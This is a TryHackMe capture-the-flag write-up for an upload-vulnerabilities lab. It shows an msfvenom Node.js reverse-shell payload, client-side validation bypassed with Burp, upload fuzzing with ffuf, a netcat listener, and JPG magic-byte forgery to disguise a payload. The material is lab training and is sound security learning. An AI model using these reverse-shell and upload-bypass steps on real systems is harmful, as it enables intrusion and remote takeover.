cksece41c0ib2t2s16fwo8bro.md

THM Upload Vulnerabilities

Basic Information

#
Type	THM Room Challenge
Organized by	TryHackMe
Name	THM / Upload Vulnerabilities
URLs	https://tryhackme.com/room/uploadvulns
Author	Asentinn / Okabe Rintaro
	https://ctftime.org/team/152207

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Contents

• Basic Information
• Recon
• Fuzzing
• Additional readings

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Recon

I'm pulling the provided wordlist for the challenge.

I'm already having the /etc/hosts entry for jewel.uploadvulns.thm so I'm accessing the page in browser.

If do not, add the entry with room IP

$ sudo nano /etc/hosts

{IP} jewel.uploadvulns.thm

Running whatweb

$ whatweb jewel.uploadvulns.thm

We are dealing with the Node.JS Express backend. In the source of the page, there is a reference to the upload.js script file.

Client-side validation can be easily worked around by passing the traffic through a Burp proxy and cutting the script import before it is rendered. In a real case scenario, backend validation should be at least as restrictive as client one, so it is good we can note down what files are supposed to be allowed or denied.

But first discover directories on the website

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://jewel.uploadvulns.thm/FUZZ 

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Client-side file upload restrictions

Let's try right away the NodeJS web shell

$ msfvenom -p nodejs/shell_reverse_tcp LHOST=tun0 LPORT=4455 -o shell.js

MiM attack with request modification

We can sniff the upload request being made via Burp on a legit file.

Content is base64 encoded - so let's encode the shell.js file content and paste into Repeater - send it and voilà - we have the reverse shell file on the website.

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Fuzzing

We can see that existing backgrounds are named using free letter filename like ABH.jpg or AVK.jpg. Now, we can make assumption that any file that passes the upload are placed together with these backgrounds with name conforming to that rules.

On the main page we can read Upload it here and we'll add it to the slides!

Fuzzing the content directory, we can see multiple files, and a few that have ~800 bytes - these are our payloads.

There are multiple files uploaded because I was trying different uploads before I found the right one. See the Bonus content

$ ffuf -w UploadVulnsWordlist.txt:FUZZ -u http://jewel.uploadvulns.thm/content/FUZZ -e .jpg

Other files with 800 and 799 bytes size are my previous attempts.

$ curl http://jewel.uploadvulns.thm/content/HRH.jpg

When you try accessing the shell directly

But during the directory fuzzing we have discovered the admin directory.

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/admin

Can we access the file via this form?

Before making a request, start the listener with nc -lvnp {PORT} and submit the form on /admin.

Yes, indeed.

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Additional readings

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Bonus: hiding malicious code behind JPG signature

Forging a JPG/JPEG file requires a file to start with magic number FF D8 FF.

1. Edit payload: prepend AAA at the beginning of the file

2. Edit the payload in hexedit replacing first octets with FF D8 FF.

Before:

After:

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